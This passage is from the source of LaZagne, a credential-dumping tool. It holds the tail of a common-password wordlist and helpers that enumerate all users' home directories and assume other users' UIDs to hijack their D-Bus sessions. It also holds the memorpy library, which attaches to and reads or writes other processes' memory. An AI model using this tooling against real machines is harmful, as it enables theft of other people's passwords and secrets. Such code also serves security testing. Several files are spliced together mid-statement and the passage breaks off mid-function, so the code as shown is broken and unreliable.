b"fishing", b"000000", b"hannah", b"slayer", b"11111111", b"rachel", b"sexsex", b"redsox", b"thx1138", b"asdf", b"marlboro", b"panther", b"zxcvbnm", b"arsenal", b"oliver", b"qazwsx", b"mother", b"victoria", b"7777777", b"jasper", b"angel", b"david", b"winner", b"crystal", b"golden", b"butthead", b"viking", b"jack", b"iwantb", b"shannon", b"murphy", b"angels", b"prince", b"cameron", b"girls", b"madison", b"wilson", b"carlos", b"hooters", b"willie", b"startrek", b"captain", b"maddog", b"jasmine", b"butter", b"booger", b"angela", b"golf", b"lauren", b"rocket", b"tiffany", b"theman", b"dennis", b"liverpoo", b"flower", b"forever", b"green", b"jackie", b"muffin", b"turtle", b"sophie", b"danielle", b"redskins", b"toyota", b"jason", b"sierra", b"winston", b"debbie", b"giants", b"packers", b"newyork", b"jeremy", b"casper", b"bubba", b"112233", b"sandra", b"lovers", b"mountain", b"united", b"cooper", b"driver", b"tucker", b"helpme", b"fucking", b"pookie", b"lucky", b"maxwell", b"8675309", b"bear", b"suckit", b"gators", b"5150", b"222222", b"shithead", b"fuckoff", b"jaguar", b"monica", b"fred", b"happy", b"hotdog", b"tits", b"gemini", b"lover", b"xxxxxxxx", b"777777", b"canada", b"nathan", b"victor", b"florida", b"88888888", b"nicholas", b"rosebud", b"metallic", b"doctor", b"trouble", b"success", b"stupid", b"tomcat", b"warrior", b"peaches", b"apples", b"fish", b"qwertyui", b"magic", b"buddy", b"dolphins", b"rainbow", b"gunner", b"987654", b"freddy", b"alexis", b"braves", b"cock", b"2112", b"1212", b"cocacola", b"xavier", b"dolphin", b"testing", b"bond007", b"member", b"calvin", b"voodoo", b"7777", b"samson", b"alex", b"apollo", b"fire", b"tester", b"walter", b"beavis", b"voyager", b"peter", b"porno", b"bonnie", b"rush2112", b"beer", b"apple", b"scorpio", b"jonathan", b"skippy", b"sydney", b"scott", b"red123", b"power", b"gordon", b"travis", b"beaver", b"star", b"jackass", b"flyers", b"boobs", b"232323", b"zzzzzz", b"steve", b"rebecca", b"scorpion", b"doggie", b"legend", b"ou812", b"yankee", b"blazer", b"bill", b"runner", b"birdie", b"bitches", b"555555", b"parker", b"topgun", b"asdfasdf", b"heaven", b"viper", b"animal", b"2222", b"bigboy", b"4444", b"arthur", b"baby", b"private", b"godzilla", b"donald", b"williams", b"lifehack", b"phantom", b"dave", b"rock", b"august", b"sammy", b"cool", b"brian", b"platinum", b"jake", b"bronco", b"paul", b"mark", b"frank", b"heka6w2", b"copper", b"billy", b"cumshot", b"garfield", b"willow", b"cunt", b"little", b"carter", b"slut", b"albert", b"69696969", b"kitten", b"super", b"jordan23", b"eagle1", b"shelby", b"america", b"11111", b"jessie", b"house", b"free", b"123321", b"chevy", b"bullshit", b"white", b"broncos", b"horney", b"surfer", b"nissan", b"999999", b"saturn", b"airborne", b"elephant", b"marvin", b"shit", b"action", b"adidas", b"qwert", b"kevin", b"1313", b"explorer", b"walker", b"police", b"christin", b"december", b"benjamin", b"wolf", b"sweet", b"therock", b"king", b"online", b"dickhead", b"brooklyn", b"teresa", b"cricket", b"sharon", b"dexter", b"racing", b"penis", b"gregory", b"0000", b"teens", b"redwings", b"dreams", b"michigan", b"hentai", b"magnum", b"87654321", b"nothing", b"donkey", b"trinity", b"digital", b"333333", b"stella", b"cartman", b"guinness", b"123abc", b"speedy", b"buffalo", b"kitty"] ================================================ FILE: Linux/lazagne/config/homes.py ================================================ import pwd import os def directories(): """ Retrieve all users' homes """ visited = set() # Get all user data stored on the Unix Password Database for pw in pwd.getpwall(): if pw.pw_dir not in visited: yield pw.pw_dir visited.add(pw.pw_dir) # Get current user home if 'HOME' in os.environ: home = os.environ['HOME'] if home not in visited: yield home visited.add(home) def get(file=[], directory=[]): """ List all existing directoryectories / files found on the disk (for all users) using homes.get(directory=.mozilla/firefox) will return if enough privilege: ["/home/user1/.mozilla/firefox", "/home/user2/.mozilla/firefox"] """ files = file if (type(file) in (tuple, list)) else [file] dirs = directory if (type(directory) in (tuple, list)) else [directory] for p in directories(): if files: for file in files: if os.path.isfile(os.path.join(p, file)): yield os.path.join(p, file) if dirs: for d in dirs: if os.path.isdir(os.path.join(p, d)): yield os.path.join(p, d) if not files and not dirs and os.path.isdir(p): yield p def users(file=[], directory=[]): files = file if (type(file) in (tuple, list)) else [file] dirs = directory if (type(directory) in (tuple, list)) else [directory] for pw in pwd.getpwall(): if files: for file in files: if os.path.isfile(os.path.join(pw.pw_dir, file)): yield pw.pw_name, os.path.join(pw.pw_dir, file) if dirs: for directory in dirs: if os.path.isdir(os.path.join(pw.pw_dir, directory)): yield pw.pw_name, os.path.join(pw.pw_dir, directory) if not files and not dirs and os.path.isdir(pw.pw_dir): yield pw.pw_name, pw.pw_dir def get_linux_env(pid): try: with open('/proc/%d/environ' % (int(pid))) as env: records = [ record.split('=', 1) for record in env.read().split('\x00') ] return { record[0]: record[1] for record in records if len(record) == 2 } except Exception: return {} def sessions(setenv=True): import psutil visited = set() try: for process in psutil.process_iter(): try: if hasattr(process, 'environ'): environ = process.environ() else: # Fallback to manual linux-only method # if psutils is very old environ = get_linux_env(process.pid) except Exception: continue if 'DBUS_SESSION_BUS_ADDRESS' not in environ: continue address = environ['DBUS_SESSION_BUS_ADDRESS'] if address not in visited: uid = process.uids().effective previous = None previous_uid = None if setenv: previous_uid = os.geteuid() if not uid == previous_uid: try: os.seteuid(uid) except Exception: continue if 'DBUS_SESSION_BUS_ADDRESS' in os.environ: previous = os.environ['DBUS_SESSION_BUS_ADDRESS'] os.environ['DBUS_SESSION_BUS_ADDRESS'] = address try: yield (uid, address) except Exception: pass finally: if setenv: if previous: os.environ['DBUS_SESSION_BUS_ADDRESS'] = previous else: del os.environ['DBUS_SESSION_BUS_ADDRESS'] if previous_uid != uid: try: os.seteuid(previous_uid) except Exception: pass visited.add(address) except AttributeError: # Fix AttributeError: 'module' object has no attribute 'process_iter' pass # Problems occured with this block of code => permission denied to lots of file even with sudo # for session_bus_directory in get(directory='.dbus/session-bus'): # for envs in os.listdir(session_bus_directory): # try: # env_file = os.path.join(session_bus_directory, envs) # uid = os.stat(env_file).st_uid # with open(env_file) as env: # for line in env.readlines(): # if not line.startswith('DBUS_SESSION_BUS_ADDRESS'): # continue # # if line.startswith('#'): # continue # # _, v = line.split('=', 1) # # if v.startswith("'") or v.startswith('"'): # v = v[1:-1] # # if v in visited: # continue # # if setenv: # previous_uid = os.geteuid() # if not previous_uid == uid: # try: # os.seteuid(uid) # except Exception: # continue # # previous = os.environ['DBUS_SESSION_BUS_ADDRESS'] # os.environ['DBUS_SESSION_BUS_ADDRESS'] = address # # try: # yield (uid, v) # # finally: # # if setenv: # os.environ['DBUS_SESSION_BUS_ADDRESS'] = previous # if previous_uid != uid: # try: # os.seteuid(previous_uid) # except Exception: # pass # # except Exception: # pass ================================================ FILE: Linux/lazagne/config/lib/__init__.py ================================================ ================================================ FILE: Linux/lazagne/config/lib/memorpy/Address.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from .utils import * class AddressException(Exception): pass class Address(object): """ this class is used to have better representation of memory addresses """ def __init__(self, value, process, default_type = 'uint'): self.value = int(value) self.process = process self.default_type = default_type self.symbolic_name = None def read(self, type = None, maxlen = None, errors='raise'): if maxlen is None: try: int(type) maxlen = int(type) type = None except: pass if not type: type = self.default_type if not maxlen: return self.process.read(self.value, type=type, errors=errors) else: return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors) def write(self, data, type = None): if not type: type = self.default_type return self.process.write(self.value, data, type=type) def symbol(self): return self.process.get_symbolic_name(self.value) def get_instruction(self): return self.process.get_instruction(self.value) def dump(self, ftype = 'bytes', size = 512, before = 32): buf = self.process.read_bytes(self.value - before, size) print(hex_dump(buf, self.value - before, ftype=ftype)) def __nonzero__(self): return self.value is not None and self.value != 0 def __add__(self, other): return Address(self.value + int(other), self.process, self.default_type) def __sub__(self, other): return Address(self.value - int(other), self.process, self.default_type) def __repr__(self): if not self.symbolic_name: self.symbolic_name = self.symbol() return str('') def __str__(self): if not self.symbolic_name: self.symbolic_name = self.symbol() return str('' % (str(self.read()).encode('unicode_escape'), self.default_type)) def __int__(self): return int(self.value) def __hex__(self): return hex(self.value) def __get__(self, instance, owner): return self.value def __set__(self, instance, value): self.value = int(value) def __lt__(self, other): return self.value < int(other) def __le__(self, other): return self.value <= int(other) def __eq__(self, other): return self.value == int(other) def __ne__(self, other): return self.value != int(other) def __gt__(self, other): return self.value > int(other) def __ge__(self, other): return self.value >= int(other) ================================================ FILE: Linux/lazagne/config/lib/memorpy/BaseProcess.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- import struct from .utils import * """ Base class for process not linked to any platform """ class ProcessException(Exception): pass class BaseProcess(object): def __init__(self, *args, **kwargs): """ Create and Open a process object from its pid or from its name """ self.h_process = None self.pid = None self.isProcessOpen = False self.buffer = None self.bufferlen = 0 def __del__(self): self.close() def close(self): pass def iter_region(self, *args, **kwargs): raise NotImplementedError def write_bytes(self, address, data): raise NotImplementedError def read_bytes(self, address, bytes = 4): raise NotImplementedError def get_symbolic_name(self, address): return '0x%08X' % int(address) def read(self, address, type = 'uint', maxlen = 50, errors='raise'): if type == 's' or type == 'string': s = self.read_bytes(int(address), bytes=maxlen) try: idx = s.index(b'\x00') return s[:idx] except: if errors == 'ignore': return s raise ProcessException('string > maxlen') else: if type == 'bytes' or type == 'b': return self.read_bytes(int(address), bytes=maxlen) s, l = type_unpack(type) return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0] def write(self, address, data, type = 'uint'): if type != 'bytes': s, l = type_unpack(type) return self.write_bytes(int(address), struct.pack(s, data)) else: return self.write_bytes(int(address), data) ================================================ FILE: Linux/lazagne/config/lib/memorpy/LinProcess.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . import copy import struct # import utils import platform import ctypes, re, sys from ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno import errno import os import signal from .BaseProcess import BaseProcess, ProcessException from .structures import * import logging logger = logging.getLogger('memorpy') libc=ctypes.CDLL("libc.so.6", use_errno=True) get_errno_loc = libc.__errno_location get_errno_loc.restype = POINTER(c_int) def errcheck(ret, func, args): if ret == -1: _errno = get_errno() or errno.EPERM raise OSError(os.strerror(_errno)) return ret c_ptrace = libc.ptrace c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t c_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p] c_ptrace.restype = c_long mprotect = libc.mprotect mprotect.restype = c_int mprotect.argtypes = [c_void_p, c_size_t, c_int] LARGE_FILE_SUPPORT=False try: c_off64_t=ctypes.c_longlong lseek64 = libc.lseek64 lseek64.argtypes = [c_int, c_off64_t, c_int] lseek64.errcheck=errcheck open64 = libc.open64 open64.restype = c_int open64.argtypes = [c_void_p, c_int] open64.errcheck=errcheck pread64=libc.pread64 pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t] pread64.restype = c_ssize_t pread64.errcheck=errcheck c_close=libc.close c_close.argtypes = [c_int] c_close.restype = c_int LARGE_FILE_SUPPORT=True except: logger.warning("no Large File Support") class LinProcess(BaseProcess): def __init__(self, pid=None, name=None, debug=True, ptrace=None): """ Create and Open a process object from its pid or from its name """ super(LinProcess, self).__init__() self.mem_file=None self.ptrace_started=False if pid is not None: self.pid=pid elif name is not None: self.pid=LinProcess.pid_from_name(name) else: raise ValueError("You need to instanciate process with at least a name or a pid") if ptrace is None: if os.getuid()==0: self.read_ptrace=False # no need to ptrace the process when root to read memory else: self.read_ptrace=True self._open() def check_ptrace_scope(self): """ check ptrace scope and raise an exception if privileges are unsufficient The sysctl settings (writable only with CAP_SYS_PTRACE) are: 0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other process running under the same uid, as long as it is dumpable (i.e. did not transition uids, start privileged, or have called prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is unchanged. 1 - restricted ptrace: a process must have a predefined relationship with the inferior it wants to call PTRACE_ATTACH on. By default, this relationship is that of only its descendants when the above classic criteria is also met. To change the relationship, an inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare an allowed debugger PID to call PTRACE_ATTACH on the inferior. Using PTRACE_TRACEME is unchanged. 2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace with PTRACE_ATTACH, or through children calling PTRACE_TRACEME. 3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via PTRACE_TRACEME. Once set, this sysctl value cannot be changed. """ try: with open("/proc/sys/kernel/yama/ptrace_scope",'rb') as f: ptrace_scope=int(f.read().strip()) if ptrace_scope==3: logger.warning("yama/ptrace_scope == 3 (no attach). :/") if os.getuid()==0: return elif ptrace_scope == 1: logger.warning("yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root") elif ptrace_scope == 2: logger.warning("yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE") except IOError: pass except Exception as e: logger.warning("Error getting ptrace_scope ?? : %s"%e) def close(self): if self.mem_file: if not LARGE_FILE_SUPPORT: self.mem_file.close() else: c_close(self.mem_file) self.mem_file=None if self.ptrace_started: self.ptrace_detach() def __del__(self): self.close() def _open(self): self.isProcessOpen = True self.check_ptrace_scope() if os.getuid()!=0: #to raise an exception if ptrace is not allowed self.ptrace_attach() self.ptrace_detach() #open file descriptor if not LARGE_FILE_SUPPORT: self.mem_file=open("/proc/" + str(self.pid) + "/mem", 'rb', 0) else: path=create_string_buffer(b"/proc/%d/mem" % self.pid) self.mem_file=open64(byref(path), os.O_RDONLY) @staticmethod def list(): processes=[] for pid in os.listdir("/proc"): try: exe=os.readlink("/proc/%s/exe"%pid) processes.append({"pid":int(pid), "name":exe}) except: pass return processes @staticmethod def pid_from_name(name): #quick and dirty, works with all linux not depending on ps output for pid in os.listdir("/proc"): try: int(pid) except: continue pname="" with open("/proc/%s/cmdline"%pid,'r') as f: pname=f.read() if name in pname: return int(pid) raise ProcessException("No process with such name: %s"%name) ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH. def _ptrace(self, attach): op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH) c_pid = c_pid_t(self.pid) null = ctypes.c_void_p() if not attach: os.kill(self.pid, signal.SIGSTOP) os.waitpid(self.pid, 0) err = c_ptrace(op, c_pid, null, null) if not attach: os.kill(self.pid, signal.SIGCONT) if err != 0: raise OSError("%s: %s"%( 'PTRACE_ATTACH' if attach else 'PTRACE_DETACH', errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN') )) def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): """ optimizations : i for inode==0 (no file mapping) s to avoid scanning shared regions x to avoid scanning x regions r don't scan ronly regions """ with open("/proc/" + str(self.pid) + "/maps", 'r') as maps_file: for line in maps_file: m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\s+([-rwpsx]+)\s+([0-9A-Fa-f]+)\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\s+([0-9]+)\s*(.*)', line) if not m: continue start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7) if start_offset is not None: if start < start_offset: continue if end_offset is not None: if start > end_offset: continue chunk=end-start if 'r' in region_protec: # TODO: handle protec parameter if optimizations: if 'i' in optimizations and inode != 0: continue if 's' in optimizations and 's' in region_protec: continue if 'x' in optimizations and 'x' in region_protec: continue if 'r' in optimizations and not 'w' in region_protec: continue yield start, chunk def ptrace_attach(self): if not self.ptrace_started: res=self._ptrace(True) self.ptrace_started=True return res def ptrace_detach(self): if self.ptrace_started: res=self._ptrace(False) self.ptrace_started=False return res def write_bytes(self, address, data): if not self.ptrace_started: self.ptrace_attach() c_pid = c_pid_t(self.pid) null = ctypes.c_void_p() #we can only copy data per range of 4 or 8 bytes word_size=ctypes.sizeof(ctypes.c_void_p) #mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ) for i in range(0, len(data), word_size): word=data[i:i+word_size] if len(word). import copy import time import struct from .Address import Address class Locator(object): """ take a memoryworker and a type to search then you can feed the locator with values and it will reduce the addresses possibilities """ def __init__(self, mw, type = 'unknown', start = None, end = None): self.mw = mw self.type = type self.last_iteration = {} self.last_value = None self.start = start self.end = end def find(self, value, erase_last = True): return self.feed(value, erase_last) def feed(self, value, erase_last = True): self.last_value = value new_iter = copy.copy(self.last_iteration) if self.type == 'unknown': all_types = ['uint', 'int', 'long', 'ulong', 'float', 'double', 'short', 'ushort'] else: all_types = [self.type] for type in all_types: if type not in new_iter: try: new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ] except struct.error: new_iter[type] = [] else: l = [] for address in new_iter[type]: try: found = self.mw.process.read(address, type) if int(found) == int(value): l.append(Address(address, self.mw.process, type)) except Exception as e: pass new_iter[type] = l if erase_last: del self.last_iteration self.last_iteration = new_iter return new_iter def get_addresses(self): return self.last_iteration def diff(self, erase_last = False): return self.get_modified_addr(erase_last) def get_modified_addr(self, erase_last = False): last = self.last_iteration new = self.feed(self.last_value, erase_last=erase_last) ret = {} for type, l in last.iteritems(): typeset = set(new[type]) for addr in l: if addr not in typeset: if type not in ret: ret[type] = [] ret[type].append(addr) return ret ================================================ FILE: Linux/lazagne/config/lib/memorpy/MemWorker.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . import sys import string import re import logging import traceback import binascii import struct from .Process import * from .utils import * from .Address import Address from .BaseProcess import ProcessException from .structures import * logger = logging.getLogger('memorpy') REGEX_TYPE=type(re.compile("^plop$")) class MemWorker(object): def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True): self.process = Process(name=name, pid=pid, debug=debug) def __enter__(self): return self def __exit__(self, type, value, traceback): self.process.close() def Address(self, value, default_type = 'uint'): """ wrapper to instanciate an Address class for the memworker.process""" return Address(value, process=self.process, default_type=default_type) def umem_replace(self, regex, replace): """ like search_replace_mem but works with unicode strings """ regex = re_to_unicode(regex) replace = replace.encode('utf-16-le') return self.mem_replace(re.compile(regex, re.UNICODE), replace) def mem_replace(self, regex, replace): """ search memory for a pattern and replace all found occurrences """ allWritesSucceed = True for _, start_offset in self.mem_search(regex, ftype='re'): if self.process.write_bytes(start_offset, replace) == 1: logger.debug('Write at offset %s succeeded !' % start_offset) else: allWritesSucceed = False logger.debug('Write at offset %s failed !' % start_offset) return allWritesSucceed def umem_search(self, regex): """ like mem_search but works with unicode strings """ regex = re_to_unicode(regex) for _, i in self.mem_search(str(regex), ftype='re'): yield i def group_search(self, group, start_offset = None, end_offset = None): regex = '' for value, type in group: if type == 'f' or type == 'float': f = struct.pack('. import copy import struct import utils import platform import ctypes, re, sys import ctypes.util import errno import os import signal from .BaseProcess import BaseProcess, ProcessException from .structures import * import logging import subprocess logger = logging.getLogger('memorpy') libc = ctypes.CDLL(ctypes.util.find_library('c')) VM_REGION_BASIC_INFO_64 = 9 class vm_region_basic_info_64(ctypes.Structure): _fields_ = [ ('protection', ctypes.c_uint32), ('max_protection', ctypes.c_uint32), ('inheritance', ctypes.c_uint32), ('shared', ctypes.c_uint32), ('reserved', ctypes.c_uint32), ('offset', ctypes.c_ulonglong), ('behavior', ctypes.c_uint32), ('user_wired_count',ctypes.c_ushort), ] VM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4 VM_PROT_READ = 1 VM_PROT_WRITE = 2 VM_PROT_EXECUTE = 4 class OSXProcess(BaseProcess): def __init__(self, pid=None, name=None, debug=True): """ Create and Open a process object from its pid or from its name """ super(OSXProcess, self).__init__() if pid is not None: self.pid=pid elif name is not None: self.pid=OSXProcess.pid_from_name(name) else: raise ValueError("You need to instanciate process with at least a name or a pid") self.task=None self.mytask=None self._open() def close(self): pass def __del__(self): pass def _open(self): self.isProcessOpen = True self.task = ctypes.c_uint32() self.mytask=libc.mach_task_self() ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task)) if ret!=0: raise ProcessException("task_for_pid failed with error code : %s"%ret) @staticmethod def list(): #TODO list processes with ctypes processes=[] res=subprocess.check_output("ps A", shell=True) for line in res.split('\n'): try: tab=line.split() pid=int(tab[0]) exe=' '.join(tab[4:]) processes.append({"pid":int(pid), "name":exe}) except: pass return processes @staticmethod def pid_from_name(name): for dic in OSXProcess.list(): if name in dic['exe']: return dic['pid'] def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): """ optimizations : i for inode==0 (no file mapping) s to avoid scanning shared regions x to avoid scanning x regions r don't scan ronly regions """ maps = [] address = ctypes.c_ulong(0) mapsize = ctypes.c_ulong(0) name = ctypes.c_uint32(0) count = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64) info = vm_region_basic_info_64() while True: r = libc.mach_vm_region(self.task, ctypes.pointer(address), ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64, ctypes.pointer(info), ctypes.pointer(count), ctypes.pointer(name)) # If we get told "invalid address", we have crossed into kernel land... if r == 1: break if r != 0: raise ProcessException('mach_vm_region failed with error code %s' % r) if start_offset is not None: if address.value < start_offset: address.value += mapsize.value continue if end_offset is not None: if address.value > end_offset: break p = info.protection if p & VM_PROT_EXECUTE: if optimizations and 'x' in optimizations: address.value += mapsize.value continue if info.shared: if optimizations and 's' in optimizations: address.value += mapsize.value continue if p & VM_PROT_READ: if not (p & VM_PROT_WRITE): if optimizations and 'r' in optimizations: address.value += mapsize.value continue yield address.value, mapsize.value address.value += mapsize.value def write_bytes(self, address, data): raise NotImplementedError("write not implemented on OSX") return True def read_bytes(self, address, bytes = 4): pdata = ctypes.c_void_p(0) data_cnt = ctypes.c_uint32(0) ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt)); #if ret==1: # return "" if ret!=0: raise ProcessException("mach_vm_read returned : %s"%ret) buf=ctypes.string_at(pdata.value, data_cnt.value) libc.vm_deallocate(self.mytask, pdata, data_cnt) return buf ================================================ FILE: Linux/lazagne/config/lib/memorpy/Process.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- import sys from .BaseProcess import * if sys.platform=='win32': from .WinProcess import WinProcess as Process elif sys.platform=='darwin': from .OSXProcess import OSXProcess as Process elif 'sunos' in sys.platform: from .SunProcess import SunProcess as Process else: from .LinProcess import LinProcess as Process ================================================ FILE: Linux/lazagne/config/lib/memorpy/SunProcess.py ================================================ # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from .BaseProcess import BaseProcess, ProcessException import struct import os MA_READ = 0x04 MA_WRITE = 0x02 MA_EXEC = 0x01 MA_SHARED = 0x08 MA_ANON = 0x40 MA_ISM = 0x80 MA_NORESERVE = 0x100 MA_SHM = 0x200 MA_RESERVED1 = 0x400 MA_OSM = 0x800 PSINFO_T = struct.Struct( 'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII' ) MAP_T = struct.Struct( 'LL64sQiiii' ) class SunProcess(BaseProcess): def __init__(self, pid=None, name=None, debug=True, ptrace=None): ''' Create and Open a process object from its pid or from its name ''' super(SunProcess, self).__init__() self.pid = int(pid) self.pas = None self.writable = False if name and not self.pid: self.pid = SunProcess.pid_from_name(name) if not name and not self.pid: raise ValueError('You need to instanciate process with at least a name or a pid') try: self._open() except: pass def close(self): if self.pas: self.pas.close() def __del__(self): self.close() def _open(self): try: self.pas = open('/proc/%d/as'%(self.pid), 'w+') self.writable = True except IOError: self.pas = open('/proc/%d/as'%(self.pid)) self.isProcessOpen = True @staticmethod def _name_args(pid): with open('/proc/%d/psinfo'%(int(pid))) as psinfo: items = PSINFO_T.unpack_from(psinfo.read()) return items[23].rstrip('\x00'), items[24].rstrip('\x00') @staticmethod def list(): processes=[] for pid in os.listdir('/proc'): try: pid = int(pid) name, _ = SunProcess._name_args(pid) processes.append({ 'pid': pid, 'name': name }) except: pass return processes @staticmethod def pid_from_name(name): processes=[] for pid in os.listdir('/proc'): try: pid = int(pid) pname, cmdline = SunProcess._name_args(pid) if name in pname: return pid if name in cmdline.split(' ', 1)[0]: return pid except: pass raise ProcessException('No process with such name: %s'%name) def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): """ optimizations : i for inode==0 (no file mapping) s to avoid scanning shared regions x to avoid scanning x regions r don't scan ronly regions """ if not self.isProcessOpen: return with open('/proc/%d/map'%(self.pid)) as maps_file: while True: mapping = maps_file.read(MAP_T.size) if not mapping: break start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping) if start_offset is not None: if start < start_offset: continue if end_offset is not None: if start > end_offset: continue if not flags & MA_READ: continue if optimizations: if 'i' in optimizations and not flags & MA_ANON: continue if 's' in optimizations and flags & MA_SHM: continue # in sunos it's quite common when this flag is set, so let's use other letter if 'X' in optimizations and flags & MA_EXEC: continue if 'r' in optimizations and not flags & MA_WRITE: continue yield start, size def write_bytes(self, address, data): if not self.pas or not self.writable: return False self.pas.seek(address) self.pas.write(data) return True def read_bytes(self, address, bytes = 4): if not self.pas: return self.pas.seek(address) return self.pas.read(bytes) ================================================ FILE: Linux/lazagne/config/lib/memorpy/WinProcess.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError from .structures import * import copy import struct # import utils import platform from .BaseProcess import BaseProcess, ProcessException psapi = windll.psapi kernel32 = windll.kernel32 advapi32 = windll.advapi32 IsWow64Process=None if hasattr(kernel32,'IsWow64Process'): IsWow64Process=kernel32.IsWow64Process IsWow64Process.restype = c_bool IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)] class WinProcess(BaseProcess): def __init__(self, pid=None, name=None, debug=True): """ Create and Open a process object from its pid or from its name """ super(WinProcess, self).__init__() if pid: self._open(int(pid), debug=debug) elif name: self._open_from_name(name, debug=debug) else: raise ValueError("You need to instanciate process with at least a name or a pid") if self.is_64bit(): si = self.GetNativeSystemInfo() self.max_addr = si.lpMaximumApplicationAddress else: si = self.GetSystemInfo() self.max_addr = 2147418111 self.min_addr = si.lpMinimumApplicationAddress def __del__(self): self.close() def is_64bit(self): if not "64" in platform.machine(): return False iswow64 = c_bool(False) if IsWow64Process is None: return False if not IsWow64Process(self.h_process, byref(iswow64)): raise WinError() return not iswow64.value @staticmethod def list(): processes=[] arr = c_ulong * 256 lpidProcess= arr() cb = sizeof(lpidProcess) cbNeeded = c_ulong() hModule = c_ulong() count = c_ulong() modname = create_string_buffer(100) PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_VM_READ = 0x0010 psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded)) nReturned = cbNeeded.value/sizeof(c_ulong()) pidProcess = [i for i in lpidProcess][:nReturned] for pid in pidProcess: proc={ "pid": int(pid) } hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) if hProcess: psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count)) psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname)) proc["name"]=modname.value kernel32.CloseHandle(hProcess) processes.append(proc) return processes @staticmethod def processes_from_name(processName): processes = [] for process in WinProcess.list(): if processName == process.get("name", None) or (process.get("name","").lower().endswith(".exe") and process.get("name","")[:-4]==processName): processes.append(process) if len(processes) > 0: return processes @staticmethod def name_from_process(dwProcessId): process_list = WinProcess.list() for process in process_list: if process.pid == dwProcessId: return process.get("name", None) return False def _open(self, dwProcessId, debug=False): if debug: ppsidOwner = DWORD() ppsidGroup = DWORD() ppDacl = DWORD() ppSacl = DWORD() ppSecurityDescriptor = 